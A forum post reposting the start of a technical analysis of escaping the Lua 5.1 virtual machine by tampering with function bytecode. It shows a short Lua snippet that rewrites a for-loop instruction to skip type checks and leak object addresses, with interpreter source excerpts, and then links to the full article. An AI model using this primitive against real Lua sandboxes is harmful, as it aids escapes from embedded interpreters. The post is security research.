Jump to content
Nytro

Analysis of VM escape by using LUA script

Recommended Posts

Posted

Analysis of VM escape by using LUA script

Author: boywhp@126.com
From: http://drops.wooyun.org/tips/12677

0x00 LUA Data Breaches


Lua provides a string.dump that is used to dump a lua function into a LUA bytecode. And the loadingstring function is able to load a bytecode into a LUA function. Through manipulating LUA raw bytecodes, the LUA interpreter will be made into a special state and bugs will rise.

asnum = loadstring(string.dump(function(x)
  for i = x, x, 0 do
    return i
  end
end):gsub("\96%z%z\128", "\22\0\0\128"))

The length of LUA bytecode is fixed with 32 bits, i.e.4 bytes, defined as:

It’s comprised of opcodes, R(A), R(B), R(C), R(Bx) and R(sBx) where A, B and C each represent an index of LUA registers.

The asnum function can transform any LUA objects to numbers (note: under LUA5.1 64bitLinux). The gsub function uses bytecode \22\0\0\128 to replace \96%z%z\128, as shown below:

0071  60000080           [4] forprep    1   1        ; to [6]
0075  1E010001           [5] return     4   2      
0079  5F40FF7F           [6] forloop    1   -2       ; to [5] if loop

Aftere executing the gsub function, the forprep instruction is replaced as JMP to [6] and the following shows the corresponding code for the foreprep instruction in LUA interpreter:

case OP_FORPREP: {
        const TValue *init = ra;
        const TValue *plimit = ra+1;
        const TValue *pstep = ra+2;
        L->savedpc = pc;  /* next steps may throw errors */
        if (!tonumber(init, ra))
          luaG_runerror(L, LUA_QL("for") " initial value must be a number");
        else if (!tonumber(plimit, ra+1))
          luaG_runerror(L, LUA_QL("for") " limit must be a number");
        else if (!tonumber(pstep, ra+2))
          luaG_runerror(L, LUA_QL("for") " step must be a number");
        setnvalue(ra, luai_numsub(nvalue(ra), nvalue(pstep)));
        dojump(L, pc, GETARG_sBx(i));
        continue;

Under normal circumstances of LUA, the forprep instruction will check if the parameter is number-type and execute initialization. However, since bytecodes are replaced to JMP, the check for LUA types is skipped and execution directly enters into the forloop instruction.

case OP_FORLOOP: {
        lua_Number step = nvalue(ra+2);
        lua_Number idx = luai_numadd(nvalue(ra), step); /* increment index */
        lua_Number limit = nvalue(ra+1);
        if (luai_numlt(0, step) ? luai_numle(idx, limit)
                                : luai_numle(limit, idx)) {
          dojump(L, pc, GETARG_sBx(i));  /* jump back */
          setnvalue(ra, idx);  /* update internal index... */
          setnvalue(ra+3, idx);  /* ...and external index */
        }
        continue;
      }

The forloop instruction will directly transform the loop parameters to Lua Number (double) and perform add operation (+0), and then execute dojump return; finally, it returns lua Number.

LUA uses TValue to represent generic data objects using the following format:

Value(64bit) tt(32bit) padd(32bit)
n LUA_TNUMBER  
GCObject *gc; -> TString* LUA_TSTRING  
GCObject *gc; -> Closure* LUA_TFUNCTION  

 

 

Articol complet: http://en.wooyun.io/2016/02/29/44.html

Join the conversation

You can post now and register later. If you have an account, sign in now to post with your account.

Guest
Reply to this topic...

×   Pasted as rich text.   Paste as plain text instead

  Only 75 emoji are allowed.

×   Your link has been automatically embedded.   Display as a link instead

×   Your previous content has been restored.   Clear editor

×   You cannot paste images directly. Upload or insert images from URL.



×
×
  • Create New...